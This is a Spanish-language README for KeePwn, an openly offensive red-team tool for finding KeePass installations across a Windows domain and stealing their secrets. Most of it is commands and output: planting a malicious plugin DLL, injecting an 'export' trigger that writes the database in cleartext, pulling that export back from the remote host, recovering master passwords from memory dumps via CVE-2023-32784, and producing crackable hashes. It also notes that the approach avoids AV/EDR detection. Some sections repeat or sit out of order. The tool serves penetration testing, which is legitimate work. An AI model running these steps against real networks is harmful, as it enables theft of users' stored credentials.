
Una herramienta de Python para automatizar el descubrimiento de KeePass y la extracción de secretos.

Un script en Python para ayudar a los equipos rojos a descubrir instancias de KeePass y extraer secretos.
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help
O si no deseas instalar sino solo ejecutar en un virtualenv:
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help
El módulo search de KeePwn se utiliza para identificar hosts que ejecutan KeePass en tu entorno objetivo:
$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt
[*] Starting remote KeePass search with 5 threads
[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found
Hace uso del recurso compartido C$ incorporado de Active Directory para buscar archivos relacionados con KeePass en ubicaciones predeterminadas, por lo que requiere privilegios de administrador en los objetivos.
El módulo primero buscará el archivo de configuración KeePass.config.xml en la carpeta %APPDATA%\KeePass de cada usuario, así como KeePass.exe en su ruta de instalación predeterminada (C:\Program Files\KeePass Password Safe 2). Si se encuentra un archivo de configuración pero KeePass no está instalado globalmente, KeePwn buscará instalaciones portátiles hasta --max-depth subcarpetas.
Esta técnica de búsqueda básica debería ser suficiente para determinar con precisión si KeePass se usa en una estación de trabajo o no. Además, la opción --get-process utilizará la implementación RPC de Impacket para determinar si KeePass se está ejecutando actualmente en el objetivo.
También se incluyen varias opciones de calidad de vida para permitir exportar los resultados de búsqueda a un archivo CSV, mostrar solo los objetivos donde se encuentra KeePass y ajustar el número de hilos paralelos:
KeePass cuenta con un marco de plugins que puede ser abusado para cargar DLL maliciosas en el proceso de KeePass, permitiendo a atacantes con derechos de administrador exportar fácilmente la base de datos (ver: KeeFarceRebornPlugin).
El módulo plugin de KeePwn permite:
Listar los plugins actualmente instalados y enumerar la caché de plugins
$ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No path specified, searching in default locations..
[*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
Añadir y eliminar tus plugins maliciosos
$ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll
[*] No path specified, searching in default locations..
[*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
> y
[+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
Consultar %APPDATA% en busca de exportaciones y moverlas automáticamente del host remoto al sistema de archivos local
Como se describe en el artículo de @harmj0y (y posteriormente CVE-2023-24055), el sistema de disparadores de KeePass puede ser abusado para exportar la base de datos en texto plano.
El módulo trigger de KeePwn permite:
Verificar si un disparador malicioso llamado "export" está actualmente escrito en la configuración de KeePass
$ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No KeePass configuration path specified, searching in default locations..
[*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
[*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
[*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[+] No trigger found in KeePass configuration
Ten en cuenta que KeePwn te impedirá abusar de los plugins si la versión detectada de KeePass no se ve afectada por esta técnica.
Añadir y eliminar un disparador malicioso llamado "export" que realiza una exportación en texto plano de la base de datos en %APPDATA% en el próximo inicio de KeePass
❯ python3 KeePwn.py trigger add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No KeePass configuration path specified, searching in default locations..
[*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
[*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
[*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[+] Malicious trigger 'export' successfully added to KeePass configuration file (it may be deleted if KeePass is already running)
Como describe @vdohney, es posible recuperar la contraseña maestra de la base de datos en memoria (CVE-2023-32784, afecta a versiones anteriores a KeePass 2.54).
El módulo parse_dump de KeePwn buscará posibles candidatos a contraseña maestra en los volcados. Debido a que las cadenas resultantes estarán (por diseño) incompletas, el módulo también puede usarse para forzar por fuerza bruta el primer carácter faltante contra un archivo KDBX especificado.
$ python3 KeePwn.py parse_dump -d ./KeePass.DMP --bruteforce Database.kdbx
[*] Searching for the master password in memory dump.. done!
[*] Found 15 candidates:
_@$$w0rd!!
_Ï$$w0rd!!
_§$$w0rd!!
_ñ$$w0rd!!
_D$$w0rd!!
_$$w0rd!!
_\$$w0rd!!
_#$$w0rd!!
_y$$w0rd!!
_k$$w0rd!!
_9$$w0rd!!
_;$$w0rd!!
_H$$w0rd!!
_>$$w0rd!!
_a$$w0rd!!
[*] Bruteforcing missing symbol with the 254 most common unicode characters.. done!
[+] Database.kdbx successfully unlocked using master password P@$$w0rd!!
El análisis de volcados de memoria utiliza el PoC en Python de @CMEPW. ¡Gracias por permitirme reutilizar el código :)
El script keepass2john.py de @harmjoy fue portado a KeePwn con la ayuda de @0xSp3ctra.
KeePwn convert extraerá un hash descifrable (formato john o hashcat) de una base de datos KeePass.
KeePwn convert -d ./Database.kdbx
[+] Happy cracking! (hashcat -m 13400)
$keepass$*2*60000*222*b794eae002aff2a55a307bedeadebee210ee3c3596731f5acf2a1ff3add7d5af*7f19293f120717cbb88cdd27a3d4b9cb58316c61c625ca3a39f94c5a96b6135b*c004b3bc403730ce1bba15d5feda18e2*55a142d52798313c336c9442d824d7098ded3c5e161b76640100c99ec1cd95e1*60bb1f64c2bfff8a4e1eb43c533054f2f5c46fac19a867e7f80a1a71d6b68f17
Se puede usar con más argumentos para especificar el tipo de hash esperado, así como una ruta de archivo de salida:
KeePwn convert -d ./Database.kdbx -t john -o ./Database.hash
[+] Hash written to ./Database.hash, happy cracking! (john --format=keepass)
KDBX 4.x aún no es compatible; puedes usar https://github.com/r3nt0n/keepass4brute. Si tienes ganas de un PR, https://palant.info/2023/03/29/documenting-keepass-kdbx4-file-format debería ser una buena lectura :)
Las solicitudes de extracción son bienvenidas (ver: Características sin marcar + algunos TODOs en el código).
Siéntete libre de abrir un issue o enviarme un mensaje directo en Twitter para sugerir mejoras.
$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv
[*] Starting remote KeePass search with 4 threads
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)
[+] Search results logged to keepwn_out.csv
$ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml
Estas acciones se realizan a través del acceso al recurso compartido SMB C$, lo que limita la detección por parte de AV/EDR, ya que no se ejecuta ningún comando.
Consultar %APPDATA% en busca de exportaciones y moverlas automáticamente del host remoto al sistema de archivos local
$ KeePwn trigger poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml
Si la ruta del archivo de configuración no es la ubicación predeterminada, puedes especificar una con el argumento --config-path.